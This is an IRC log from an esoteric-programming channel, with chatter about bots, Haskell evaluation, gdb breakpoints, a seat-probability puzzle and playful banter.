not to be trusted on the subject hth 01:07:34 -!- Muddha has joined. 01:07:39 `relcome Muddha 01:07:40 ​Muddha: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 01:07:46 blessings 01:07:53 speedy 01:08:20 I have to maintain my `relcomeratio :D 01:08:42 whats esoteric programming ? 01:09:12 oerjan: okay, I *may* be slightly not exactly partial on the matter. but it's easy! drop schwas, unvoice vowels, and apply a good dose of English word order. 01:09:24 *impartial 01:09:51 Muddha: programming that explores the limits of the possible, with arts and post-modern creativity. 01:09:55 `? esoteric 01:10:01 oerjan: that's what I meant indeed. 01:10:01 This channel is about programming -- for the other kind of esoterica, try #esoteric on EFnet or DALnet. 01:10:36 boily: does québécois have double negation 01:10:52 so its not a special type of programming that was dubbed esoteric for some reason? 01:10:53 oerjan: yup! and it's gladly frowned upon by prescriptivists! 01:10:54 not that that would work in that case 01:11:18 Muddha: it's the languages that are esoteric. as in weird. 01:11:27 Muddha: Look at wiki to see its working. 01:11:36 Muddha: it's more like "fringe" or "frontier" programming. 01:11:48 ah im in the right place then 01:11:49 :P 01:12:19 I'm a newb so take it easy on me 01:12:21 ...i see. 01:12:40 ill be back with questions soon :P hope you guys are willing to help haha 01:13:06 we like newcomers! 01:13:17 OK, you can try 01:13:17 I like you guys too 01:13:20 given your username, i was guessing you were looking for more spiritual stuff. which alas is _not_ what this channel is about. usually. 01:13:32 haha no thats my actual nickname 01:13:35 :') 01:13:41 Muddha: you should take a look at the classics on the wiki: Brainfuck, Befunge, False, Malbolge... 01:14:04 (and probably Aubergine too, but that one is a shameless plug) 01:14:13 -!- augur has quit (Remote host closed the connection). 01:14:25 And also INTERCAL and Special:Random 01:15:25 how do you read "shavention" 01:15:31 I study electrical engineering and so I kinda got twisted with programming along the way im not particularly any good but I've been successfully intrigued 01:15:47 oooooh, an EE :D 01:15:55 yes an EE :P 01:16:33 then I shall ask you the The Question: what are your approximative geographic coördinates and body weigh? 01:17:02 -!- spiette has quit (Quit: :qa!). 01:17:05 haha im not sure about either 01:17:05 . o O ( since e's electrical, maybe ask for charge too? ) 01:17:13 but i eight somewhere around 70 kgs 01:17:19 weigh* 01:17:22 oerjan: Are there non-electrical engineers? 01:17:42 shachaf: i think so? they build bridges and stuff... 01:18:01 too civil for me 01:18:11 he puns! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah! 01:18:16 :P 01:18:22 oerjan: with no charge? 01:18:35 no taxes where im from 01:18:36 Muddha: please be aware that any further pun shall be thwacked by my mapole. 01:19:00 Muddha: SI units, no taxes... Northern European? 01:19:08 haha african 01:19:15 close enough! 01:19:19 grew up in the middle east 01:19:24 currently in western europe 01:19:27 what about no taxes tells you northern european that makes no sense 01:19:49 every other / bin/ shavention / comes out of the / fourth dimension / life is just / a tanebvention / burma shave 01:19:53 it does. my deductions are sane! 01:20:22 no ones sane 01:20:27 `? boily 01:20:28 ​"Only sane man" boily is monetizing a broterhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He's also a NaniDispenser, a Trigotillectomic Man Eating Chicken and a METARologist. He is seriously lacking in the f-word department. He is also a renowned Capitalist. 01:20:28 stope lying to yourself 01:20:31 ↑ I am sane. 01:21:04 boily: Are you sure? 01:21:15 of course he is 01:21:22 or she is 01:21:25 * boily points to Muddha 01:21:25 not quite sure 01:21:48 I'm a he. 01:21:58 -!- lambda-11235 has joined. 01:22:21 hence the pun oppressing pole 01:22:58 Muddha: do not question boily's sanity. that is not altogether safe hth 01:23:06 hahaha 01:23:14 ok 01:23:45 `? mapole 01:23:46 A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg. 01:24:26 w9w 01:24:29 wow* 01:24:38 anyway guys its nice meeting you 01:24:45 boily: Does ' mean feet or minutes? 01:24:54 once I get my c's down and I move up the programming ladder 01:24:58 "yes" 01:25:01 I shall be back wanting more 01:25:19 OK 01:25:25 goodnight for now 01:25:43 -!- Muddha has left. 01:25:44 'night! 01:25:48 zut. 01:26:27 Are you going to CT 2016? 01:26:31 shachaf: yes, and I shall correct it. 01:26:34 CT? 01:26:37 It's in Halifax. 01:26:54 `` sed -i 's/'\b/’/' wisdom/mapole 01:26:55 ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file 01:27:02 GHARGH. 01:27:09 `` sed -i "s/'\b/’/" wisdom/mapole 01:27:10 No output. 01:27:17 Halifax is far hth. 01:27:54 -!- ski has joined. 01:28:07 @metar CYHZ 01:28:07 CYHZ 220009Z 21016G22KT 1 1/2SM BR OVC001 15/15 A2971 RMK ST8 SLP065 DENSITY ALT 800FT 01:28:57 `? mapole 01:28:58 A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg. 01:29:13 boily: Is there a leggy version? 01:29:22 `` sed -i "s/'/’/" wisdom/mapole 01:29:25 No output. 01:29:29 `? mapole 01:29:30 A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6’ by 12 kg, ±0.5 inHg. 01:29:32 * oerjan gives boily some `sled propaganda. rosebud! 01:29:48 actually, make that `slwd 01:29:53 shachaf: a leg version of a mapole? 01:30:10 Right. You only specify what the army version includes. 01:30:28 oerjan: slwd is presumably sled for lewd files 01:30:46 MAYBE 01:30:56 -!- MoALTz has quit (Quit: Leaving). 01:31:16 `slwd oerjan//s#lord#lewd# 01:31:38 `? oerjan 01:31:39 Your mysterious renouned cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 01:32:03 oerjan: Does "amortized" pop up when you try to remember the word "amortized"? 01:32:13 not always. 01:32:22 but more than it used to. 01:32:32 `slwd oerjan//s# instead## 01:32:35 wisdom/oerjan//Your mysterious renouned cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 01:33:38 `slwd oerjan//s/renouned/interjecting/ 01:33:40 wisdom/oerjan//Your mysterious interjecting cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 01:33:59 hm 01:34:59 `slwd oerjan//s/interjecting/articled/ 01:35:02 wisdom/oerjan//Your mysterious articled cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 01:35:36 _Maniacs in the Fourth Dimension_ -- by Kilgore Trout 01:35:39 It was about people, whose mental diseases couldn't be treated because the causes of the diseases were all in the fourth dimension, and three-dimensional Earthling doctors couldn't see those causes at all, or even imagine them. 01:35:43 One thing Trout said that Rosewater liked very much was that there really were vampires and were-wolves and goblins and angels and so on, but that they were in the fourth dimension. So was William Blake, Rosewater's favorite poet, according to Trout. So were heaven and hell. 01:36:26 http://kilgoretroutstories.tumblr.com/post/16715820705/the-gospel-from-outer-space-by-kilgore-trout was a very good Kilgore Trout story. 01:37:09 i'm not sure he's my kettle of fish. 01:37:25 is that a pun 01:37:34 what's the pun 01:37:37 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 01:39:08 you just need to deduce the ichtymology. 01:39:39 also i probably misused the idiom. otoh i'm not the first to do so. 01:39:43 is it the picture? 01:40:34 it's an idiom. 01:42:20 hm apparently kilgore trout is itself a pun. 01:42:26 Oh, I get it. 01:42:28 Kilgore Trout 02:08:01 -!- hppavilion[1] has joined. 02:08:15 Conspiracy Theory Time: The Apollo 11 moon landings were faked 02:08:55 They actually pulled if off on Apollo 8, but /somebody/ didn't understand how to use a video camera 02:09:44 `? ① 02:09:45 ​①? ¯\(°​_o)/¯ 02:09:54 `unidecode ① 02:09:55 ​[U+2460 CIRCLED DIGIT ONE] 02:10:18 `unidecode ⓵ 02:10:19 ​[U+24F5 DOUBLE CIRCLED DIGIT ONE] 02:10:22 `? ⑨ 02:10:23 ​⑨? ¯\(°​_o)/¯ 02:10:44 \oren\: So you can't get a 1 into a single circle- thus why you made it 7sd instead- but it will fit into a double circle? 02:10:58 all conspiracies exist. 02:11:29 Are there any conspiracy theories involving the Unicode Consortium 02:12:57 there are some heated flame wars about Han Unification... 02:18:47 boily: True, but any actual conspiracy theories? 02:18:54 Or actual conspiracies, for that matter? 02:19:57 Conspiracy Theorem 02:20:31 My favorite word that I invented is 'hyperthesis', mostly because it's actually useful 02:21:15 * boily is startled by cats 02:21:24 /nick cats 02:21:41 I don't think there are actual unicodal conspiracies... 02:23:47 /nick lybde 02:27:48 * oerjan wonders if the MiD's umbrella also prevents him from leaving footprints or if that's a power he has 02:27:58 *MitD 02:30:49 also i'm wondering if he's going to die heroically without ever showing himself 02:31:34 bringing with his ultimate demise the secret of V's true gender? 02:32:03 wat 02:32:12 I saw a puzzle: An airplane has 100 seats, and there are 100 people with assigned seat numbers. One person enters the airplane and sits in a random seat. Then the rest of them enter the the airplane one at a time and try to sit in their assigned seat; if it's taken, they sit in a random free seat instead. What's the probability that the last person will sit in the correct seat? 02:32:30 oerjan: that's perfectly thausible! 02:32:43 OKAY 02:33:09 shachaf: I saw that puzzle. I refuse to aknowledge that puzzle. it is inherently headachy hth 02:33:17 sounds tricky 02:33:22 boily: it has a very simple solution hth 02:34:33 yes. and the result is right. nonetheless, it's a great source of mental dissonance. 02:44:05 hm. is it 50%? 02:44:44 yes 02:44:47 yay! 02:50:42 I want to say that there are 99 wrong seats and only 1 right seat, so chances are 1%. but no, 50% is the right result. 02:51:49 oh well. time to night. 02:52:01 -!- boily has quit (Quit: SHAKEN CHICKEN). 02:57:10 -!- sebbu has quit (Ping timeout: 250 seconds). 02:59:18 -!- Nithogg_ has quit (Ping timeout: 272 seconds). 03:02:15 -!- moonythedwarf has joined. 03:02:23 hbot is getting a LOT better 03:02:34 all it need now is some better security 03:03:25 maybe someone can hack it in. 03:03:47 lol 03:04:24 it has a working bin folder too 03:08:25 `addquote AIUI, one of the senior folks now has a car full of body parts as a result. (I don't know, I was in Finland.) 03:08:28 1282) AIUI, one of the senior folks now has a car full of body parts as a result. (I don't know, I was in Finland.) 03:10:24 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 03:13:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 03:21:03 -!- moonythedwarf has quit (Ping timeout: 276 seconds). 03:34:02 -!- augur has joined. 03:41:27 -!- J_Arcane has quit (Read error: Connection reset by peer). 03:46:01 -!- J_Arcane has joined. 03:56:54 oerjan: what proportion of norwegians do you think secretly own hookahs? 03:58:44 i'm way too out of the loop to guess. 04:01:22 stands to reason, what with being prehadeon and all 04:09:35 what's the best example of a programming language where every string constructed from valid tokens is a valid program and none of the tokens are NOPs 04:10:34 -!- idris-bot has quit (Ping timeout: 260 seconds). 04:10:44 is there a non-esoteric such thing? 04:10:46 APL? 04:10:51 i don't know APL 04:11:53 pretty sure APL has some syntax, like parentheses 04:12:11 -!- idris-bot has joined. 04:12:54 (also it has operators but not precedence) 04:13:38 -!- vague_ has joined. 04:14:02 -!- vague_ has changed nick to Guest89590. 04:14:13 -!- Guest89590 has changed nick to rarfin. 04:14:38 "problem" and "program" have very similar movements of fingers on a keyboard 04:18:59 -!- oerjan has quit (Quit: Nite). 04:23:44 what does 'setting a breakpoint' do in gdb? 04:24:04 how do i do that without a debugger? 04:24:09 -!- hppavilion[1] has joined. 04:24:45 like, can a program set a breakpoint in itself while it's running? 04:26:04 http://notevendoommusic.com/ is still the greatest thing ever 04:26:16 izabera: Yes, but it's a mortal sin and it will avoid it at all costs 04:27:04 lame, no html5 04:27:05 izabera: this is a thing i do regularly with pdb 04:27:43 but i never considered doing it with gdb. i assumed breakpoints were things tracked by gdb, not the program 04:28:16 so you're saying it requires actual work from the debugger 04:29:02 i was hoping it was some magic assembly instruction that took a memory address and something and it signaled you when you access it 04:32:03 Are you talking about a breakpoint or a "watchpoint"? 04:33:34 i'm interested in both 04:33:54 On x86 gdb implements breakpoints by replacing the first byte of an instruction with int3, 0xcc. 04:34:35 that's cool 04:34:45 @google gdb watchpoint 04:34:45 https://sourceware.org/gdb/onlinedocs/gdb/Set-Watchpoints.html 04:35:33 i don't see that being documented there 04:36:22 That page is about watchpoints, not breakpoints. 04:37:22 @google gdb breakpoint 04:37:23 http://www.unknownroad.com/rtfm/gdbtut/gdbbreak.html 04:37:23 Title: RMS's gdb Tutorial: How do I use breakpoints? 04:37:51 i don't see that being documented there 04:38:14 in my defense it wasn't in the first handful of google results 04:42:46 Popcorn is clearly a hoax 04:43:02 Have you ever seen a GIF of popcorn popping? The physics obviously don't add up 04:44:53 No I have not seen a GIF of popcorn popping, but I have seen real popcorn and have the device used to heat them. 04:52:47 http://thechive.com/2015/12/15/some-satisfying-gifs-to-start-your-morning-17-gifs/ is... evil 04:54:50 -!- sebbu has joined. 04:56:29 -!- HackEgo has quit (Remote host closed the connection). 05:15:30 What. 05:16:08 -!- Etaoin has joined. 05:16:21 -!- rarfin has quit (Quit: Leaving). 05:16:22 -!- Kaynato has quit (Ping timeout: 244 seconds). 05:16:40 👋 05:17:21 Is the wiki still alive? Is this irc alive? 05:17:53 It's a bit of a slow period for the channel, but yes on both counts. 05:19:07 Phew thank jesus. I've been silently marvelling at the wiki for well over a year now, only now decided to check if the community is still active, glad to know It is! 05:20:27 Today's logs are about 62k, to give you an idea. 05:21:07 6 am here so I'll go to bed now and rest peacefully 😃 05:21:36 That doesn't sound bad at all 05:21:43 Ĝis la 05:25:58 -!- Etaoin has quit (Ping timeout: 250 seconds). 05:28:05 yay Tangut in Unicode 05:28:08 now we can use all sort of esoteric characters for Zalgo 05:56:51 -!- augur_ has joined. 05:58:18 -!- augur has quit (Ping timeout: 250 seconds). 05:59:27 I think I'm going to show my mother some /r/reverseanimalrescue gifs 05:59:33 See if I can make her stop loving me 06:01:20 -!- augur_ has quit (Read error: Connection reset by peer). 06:01:58 -!- augur has joined. 06:05:41 -!- augur has quit (Read error: Connection reset by peer). 06:15:26 -!- lambda-11235 has quit (Quit: Bye). 06:33:01 it just occurred to me that in just 5 more years i will have spent half my life as an esolanger...as much time as any other hobby except fiction 06:44:02 -!- myndzi has quit (Ping timeout: 244 seconds). 06:49:04 -!- jix has quit (Ping timeout: 258 seconds). 06:49:33 -!- jix has joined. 06:54:25 -!- Nithogg_ has joined. 07:33:41 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]). 07:42:28 -!- Destructible has joined. 07:42:43 Hi! 07:45:17 I had an idea for an esolang (again) 07:45:22 -!- hppavilion[2] has joined. 07:45:57 -!- Sgeo_ has joined. 07:46:58 -!- puck1pedia has joined. 07:47:17 -!- atehwa has joined. 07:49:34 -!- digitalc1ld has joined. 07:49:45 -!- erdic_ has joined. 07:50:05 -!- b_jonas_ has joined. 08:04:43 -!- hppavilion[1] has quit (*.net *.split). 08:04:43 -!- Sgeo has quit (*.net *.split). 08:04:43 -!- erdic has quit (*.net *.split). 08:04:43 -!- deltab has quit (*.net *.split). 08:04:43 -!- b_jonas has quit (*.net *.split). 08:04:44 -!- digitalcold has quit (*.net *.split). 08:04:44 -!- atehwa_ has quit (*.net *.split). 08:04:44 -!- puckipedia has quit (*.net *.split). 08:04:45 -!- puck1pedia has changed nick to puckipedia. 08:04:51 -!- erdic_ has changed nick to erdic. 08:14:45 -!- deltab has joined. 08:18:35 For some reason, there are some parts of the world where it is illegal to have a pet hedgehog. Monsters. 08:27:24 hmm 08:36:21 -!- myndzi has joined. 08:37:01 -!- AnotherTest has joined. 08:46:46 hi 08:48:52 -!- Destructible has quit (Quit: Page closed). 08:49:17 -!- Destructible has joined. 08:49:49 ╠╣║ 08:50:42 I had a pretty good idea for an esolang, I think 08:50:56 copumpkin: that book was released hth 08:51:37 copumpkin: i'll send you a copy if you like 08:51:49 assuming there's a way to do that. i don't know. 08:54:13 I just realized 08:54:17 If someone sees some shit in war 08:54:29 And is fucked up after getting home 08:54:38 They'll often be diagnosed with PTSD- "Post-Traumatic Stress Disorder" 08:54:51 But with the awful stuff that tends to happen in a warzone 08:54:56 Can it really be called a "disorder" 08:55:53 I think that it'd be more disorderous to be a happy, optimistic family (wo)man after being rescued from an ISIS POW camp moments before your decapitation and moments after your best friends' 08:56:20 It should be called PTSR- Post Traumatic Stress Rationality 08:56:42 well, really, they are out of danger, so it's not exactly rational. 08:57:53 also, from wikipedia: A mental disorder (also called a mental illness,[1] psychiatric disorder, or psychological disorder) is a diagnosis, most often by a psychiatrist, of a behavioral or mental pattern that may cause suffering or a poor ability to function in life. 09:01:16 Also, I don't think that soldiers that return without ptsd are ok with what went down either. 09:14:03 -!- moonythedwarf has joined. 09:24:26 hi 09:26:23 -!- moon_ has joined. 09:28:33 -!- hppavilion[2] has quit (Ping timeout: 240 seconds). 09:29:36 -!- moonythedwarf has quit (Ping timeout: 276 seconds). 09:38:03 -!- moon___ has joined. 09:41:03 -!- moon_ has quit (Ping timeout: 240 seconds). 09:43:10 -!- moon___ has quit (Ping timeout: 260 seconds). 09:52:57 -!- Phantom_Hoover has joined. 10:41:05 -!- hppavilion[2] has joined. 10:44:28 -!- Destructible has quit (Ping timeout: 250 seconds). 10:48:11 -!- hppavilion[2] has quit (Ping timeout: 240 seconds). 10:55:11 `lua -e print(20*0.3) 10:55:16 -!- b_jonas_ has changed nick to b_jonas. 11:35:39 -!- boily has joined. 11:47:41 @massages-loud 11:47:41 You don't have any messages 11:52:38 `8-ball are you here? 11:52:48 what's with HackEgo? 11:53:54 no HackEgo, no fungot... AAAAAAAAAAAAAAAAAAAAAH! 11:54:03 fizzie: FUNGOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOT!!! 11:54:17 and Gregor isn't even here to be yelled at! 11:55:07 Ut-oh. 11:55:44 HackEgo seems to be online, just not on-channel. Even I can fix that. 11:55:46 soon ripe / soon rotten / soon gone / but not fungotten 11:56:07 fizzie: I thought you can fix everything. 11:56:30 -!- HackEgo has joined. 11:56:35 That's one. 11:57:24 -!- fungot has joined. 11:57:27 And that's two. 12:00:05 yay! 12:00:21 `wisdom 12:00:25 fungot: wisdom 12:00:25 boily: it is very annoying to use ssh with x forwarding. need to go to dozomo and learn their names and it doesn't come with the disks? dang. 12:00:35 adu//Do you know adu? Adu adu adu adu adu! 12:02:24 fungot: you should be using something else, like xpra or vncserver + vncviewer -via 12:02:24 int-e: all right...ill try not to think about your mind. best of luck with it 12:02:34 (it's funny when fungot makes sense) 12:02:34 int-e: esperanto was designed but elitist linguists more interested in pragmatics. ( pragmatic beauty would be a double as x86_64 use sse instead of the more " advanced" 12:03:14 actually that was quite insulting, I think. 12:03:28 fungot: stop making sense. you're not sentient. 12:03:28 boily: this one, yome! stay good! ( except that the is an operation 12:03:38 fungot: and balance your parentheses. )) 12:03:39 boily: ( since ( cons x lst) in terms of y ( not the ( eq? ( 200 0.)) be false? i just have issues with a type-system question? we're evaluating everything in the top 12:09:16 `ping 12:09:43 pong 12:10:49 `ping 12:10:50 pong 12:12:15 `addquote int-e: all right...ill try not to think about your mind. best of luck with it 12:12:15 int-e: sarahbot is a surprisingly good conversationalist. -g 12:12:28 1283) int-e: all right...ill try not to think about your mind. best of luck with it 12:12:58 (I don't particularly like that it said that to me, but if it had been anybody else I would have added it as a quote as well) 12:13:18 fungot: say something quoteworthy to me twh 12:13:18 shachaf: darcs repository tomorrow. ( shame on me for not noticing. 12:13:24 shame on fungot 12:13:24 shachaf: what is dynamic-wind?? :p 12:15:16 @time 12:15:19 Local time for shachaf is Wed Jun 22 04:15:16 2016 12:15:46 guess what: i'm going to be miserable and unproductive tomorrow, just like every day for the past couple of weeks 12:18:50 hint-e 12:19:04 quintopia: AAAAAAAAAAAAAAAH! 12:19:12 what the morning are you doing here? 12:19:17 are you dying 12:19:25 you're offtimezone! 12:19:30 no, just having breakfast. 12:19:33 my bad 12:19:47 what shall i do about it 12:21:15 we shall ask an impartial umpire, but later. I'm translating to a shower, then off to work. 12:21:26 gl 12:21:28 -!- Koen_ has joined. 12:21:33 int-e! 12:21:37 int-e! 12:21:49 -!- boily has quit (Quit: LIBRARIAN CHICKEN). 12:22:05 int-e! 12:22:06 `? dynamic-wind 12:22:12 dynamic-wind? ¯\(°​_o)/¯ 12:22:31 well static wind would be just air? 12:25:07 `learn dynamic-wind is the opposite of static-wind. 12:25:12 Learned 'dynamic-wind': dynamic-wind is the opposite of static-wind. 12:25:29 `learn static-wind is just air. 12:25:36 Learned 'static-wind': static-wind is just air. 12:28:17 If dynamic-wind is the opposite of static-wind, what's dynamic-unwind? 12:28:21 !?!! 12:29:28 did I miss anything important? 12:31:20 -!- MoALTz has joined. 12:33:55 int-e: i just wanted to confirm a possible bug in lambdabot 12:35:13 will lambdabot only send you message notifications if you send messages to a channel that _arent_ commands for lambdabot? 12:39:27 `learn dynamic-unwind is just like dynamic-wind except that it's a different sort of weather. 12:40:00 Learned 'dynamic-unwind': dynamic-unwind is just like dynamic-wind except that it's a different sort of weather. 12:41:39 quintopia: possible... hmm 12:41:42 `? brexit 12:41:47 brexit? ¯\(°​_o)/¯ 12:42:06 `learn brexit is like a break, except when there's no surrounding loop, in which case it's like an exit. 12:42:10 Learned 'brexit': brexit is like a break, except when there's no surrounding loop, in which case it's like an exit. 12:44:38 That is almost sensible 12:45:49 quintopia: it's not easy to fix... it really happens by design. lambdabot processes commands (which are prefixed by @ and friends) differently from "contextual" messages, and the notification happens in a contextual message handler 12:55:28 quintopia: and by "not easy to fix" I really mean it's easy to process all messages as contextual messages but it's hard to figure out what kind of unintended side effects that would have. for example, it would be inappropriate to say that you have new messages when your command is @messages... 12:59:04 this is a problem i anticipated. but it remains that it is poor design since it can result in messages not being received or being delayed 12:59:38 -!- hppavilion[2] has joined. 13:00:10 well, surely someone would say "hi" before sending commands to lambdabot 13:00:18 nope 13:00:31 unless they're only passing by to get their messages, in which case the command would be @message and everything would be fine 13:02:26 they may be passing by to get the weather 13:04:46 <\oren\> Ok, so the next version will include 23fb to 23fe 13:04:58 i feel like checking for messages should be a followup action to processing any message. if its a command, notify can be PM'd, unless its @messages in which case the flag will be cleared by the time the check happens 13:06:12 Huh, Kirk Johnson 13:07:00 <\oren\> @messages-load 13:07:00 You don't have any messages 13:11:23 Koen_: #haskell is too big for everybody saying hello 13:14:57 Huh, if you add a + after a bitly link it'll tell you where it goes (and other data) 13:15:07 I will now use this religiously to avoid goatse 13:17:34 sounds like you hang out in the wrong places 13:18:53 `wisdom 13:19:10 nothing//Nothing would have been better than to create this wisdom entry. 13:19:19 Koen_: you can say hi in the same line as some lambdabot command 13:19:27 <\oren\> quintopia: nah, sounds like he hangs out the places I used to post when I was 15 13:19:41 the wrong places 13:20:04 @eval {- hello. why does this go into an infinite loop? I don't understand -} let { f x + 1 = x * f x; } in f 10; 13:20:38 @messages hi, b_jonas 13:20:38 You don't have any messages 13:21:01 hmm 13:21:22 @eval var "does this work?" 13:21:25 <\oren\> hold on that syntax? 13:21:33 um 13:21:38 is the command even called @eval ? 13:21:39 @help 13:21:39 help . Ask for help for . Try 'list' for all commands 13:21:45 <\oren\> f(x,+,1) = x * f(x)? 13:22:12 \oren\: no, it's probably wrong syntax 13:22:29 \oren\: it shoudl be f (x + 1) instead of f x + 1 13:22:32 b_jonas: you mean @run 13:22:34 ah 13:22:36 @help @eval 13:22:36 help . Ask for help for . Try 'list' for all commands 13:22:43 @run var "does this work (try 2)? 13:22:44 :1:29: 13:22:44 lexical error in string/character literal at end of input 13:22:46 @run var "does this work (try 3)?" 13:22:47 does this work (try 3)? 13:22:47 @help eval 13:22:48 eval. Do nothing (perversely) 13:22:59 @run {- hello. why does this go into an infinite loop? I don't understand -} let { f x + 1 = x * f x; } in f 10; 13:23:01 :1:79: Parse error in pattern: f 13:23:09 @run let { f (x + 1) = x * f x; } in f 10; 13:23:10 :1:10: Parse error in pattern: x + 1 13:23:30 no, I'm not enabling NPlusKPatterns 13:23:49 <\oren\> f(x) = (x-1) * f(x-1)? 13:24:01 int-e: good 13:24:03 I hate them 13:24:18 but indeed it shouldn't produce an infinite loop 13:24:41 <\oren\> that would end with 0 because haskell is lazy correct? 13:24:49 *** Exception: :3:5-23: Non-exhaustive patterns in function f 13:25:11 \oren\: nope, the semantics of (x+1) include that x>=0. 13:25:19 Do you ever see a reference to something funny and guess exactly what it will be without detail? 13:25:29 For example, the Thoughts and Prayers game- t to think, p to pray 13:25:44 <\oren\> int-e: that is unmathy 13:26:24 \oren\: it's mimicing natural numbers; the idea was to allow primitive recursive definitions like f (n+1) = n * f n; f 0 = 1 13:26:52 but to my mind there is no good use for these patterns except for code golfing. 13:27:12 <\oren\> So it defines that base case how? 13:28:06 <\oren\> like f(x+1) = x+f(x) would want a base case of f(0) = 0 13:28:43 <\oren\> but it's arbitrary 13:29:32 @list 13:29:33 What module? Try @listmodules for some ideas. 13:29:36 @listmodules 13:29:36 activity base bf check compose dice dict djinn dummy elite eval filter free fresh haddock help hoogle instances irc karma localtime metar more oeis offlineRC pl pointful poll pretty quote search slap source spell system tell ticker todo topic type undo unlambda unmtl version where 13:29:37 \oren\: It doesn't define the base case -- hence the "Non-exhaustive patterns" error int-e pasted. 13:29:38 -!- Kaynato has joined. 13:29:52 <\oren\> fizzie: ok. good 13:29:54 @list eval 13:29:54 eval provides: run let define letlpaste undefine 13:30:02 @run test 13:30:04 Not in scope: ‘test’ 13:30:04 Perhaps you meant one of these: 13:30:04 ‘text’ (imported from Text.PrettyPrint.HughesPJ), 13:30:16 what does eval run ? 13:30:27 @help run 13:30:27 run . You have Haskell, 3 seconds and no IO. Go nuts! 13:30:38 ok 13:43:30 -!- Sgeo_ has quit (Ping timeout: 246 seconds). 13:48:53 -!- Deewiant has quit (Ping timeout: 244 seconds). 13:49:35 -!- Hoolootwo has quit (Ping timeout: 258 seconds). 13:49:39 -!- Elronnd has quit (Ping timeout: 264 seconds). 13:52:52 -!- Elronnd has joined. 13:52:53 -!- Hoolootwo has joined. 13:53:05 -!- Deewiant has joined. 13:58:57 <\oren\> Hmm apparently there are some graphical glitches causing people to see a mix of the old glyps and new glyphs for the range 2460 to 24FF? 14:03:36 \oren\: ah, I see you added http://www.orenwatson.be/verne.htm 14:05:46 \oren\: you might want to add the crude French translation of the verse as well 14:06:25 \oren\: does this try to distinguish the two different K runes somehow? 14:08:51 \oren\: in the cyphered rune version, on the top row second block, you're missing an E rune that is clearly present in the cyphered rune version of the book 14:10:35 \oren\: and apparently you fixed the typo of s/et terrestra/te terrestra/ in the ciphered rune version 14:10:56 um 14:11:29 I mean fixed the typo of s/et terrestre/te terrestre/ 14:12:45 ah yes, you do have two different K runes:  and ᚴ 14:16:44 -!- Sgeo_ has joined. 14:29:36 > let f x = case x of | 0 -> 0 | _ -> x + f (x-1) in f 10 14:29:37 :1:21: parse error on input ‘|’ 14:29:44 Oh, right 14:30:06 > let f x = { case x of 0 -> 0 ; _ -> x + f (x-1) } in f 10 14:30:08 :1:11: parse error on input ‘{’ 14:30:22 I don't remember how to write it with the {;} syntax 14:31:16 > let f x = case x of { 0 -> 0 ; _ -> x + f (x-1) } in f 10 14:31:18 55 14:32:20 -!- bender has joined. 14:40:02 -!- iaglium has joined. 14:40:43 Thinking about it, I could have written that without the case 14:41:01 > let { f 0 = 0; f x = x + f (x-1) } in f 10 14:41:03 55 14:45:06 > let { f x = x(x+1)/2 } in f 10 14:45:07 Occurs check: cannot construct the infinite type: a2 ~ a2 -> a1 14:45:07 Relevant bindings include 14:45:07 x :: a2 -> a1 (bound at :1:9) 14:45:18 OH COME ON 14:45:30 oh wait 14:45:38 > let { f x = x*(x+1)/2 } in f 1à 14:45:40 Not in scope: ‘à’ 14:45:42 > let { f x = x*(x+1)/2 } in f 10 14:45:44 55.0 14:45:53 now you're just messing with me :( 14:46:08 > let { f x = 55 } in f 10 14:46:10 55 14:46:12 :-) 14:47:56 -!- GoToSell has joined. 14:50:25 ISISTEP. It's a thing. 15:08:02 -!- Lord_of_Life has quit (Excess Flood). 15:08:31 -!- `^_^v has joined. 15:10:42 -!- spiette has joined. 15:10:42 -!- Lord_of_Life has joined. 15:19:40 `8-ball HackEgo, are you back now? 15:19:45 It is decidedly so. 15:48:03 -!- bender has quit (Ping timeout: 250 seconds). 16:03:49 -!- spockers has quit (Excess Flood). 16:04:33 -!- spockers has joined. 16:10:30 -!- Deewiant has quit (Ping timeout: 244 seconds). 16:11:10 -!- Deewiant has joined. 16:12:53 e^(pi*i)=-1 16:13:01 e^(tau*i)=1 16:13:11 e^(pi*i*0)=1 16:13:15 tau = 2pi 16:13:37 e^(pi*0) = e^(tau*2) 16:13:44 0pi=2pi 16:13:50 s/tau*2/pi*2/ 16:13:56 0=2 16:13:57 QED 16:14:26 "Consider the set of all ellipses, {...,...,...}" 16:22:51 -!- hppavilion[2] has quit (Ping timeout: 240 seconds). 16:26:50 -!- J_Arcane has joined. 16:30:55 -!- spiette has quit (Ping timeout: 260 seconds). 16:31:09 -!- bender has joined. 16:51:41 -!- adu has joined. 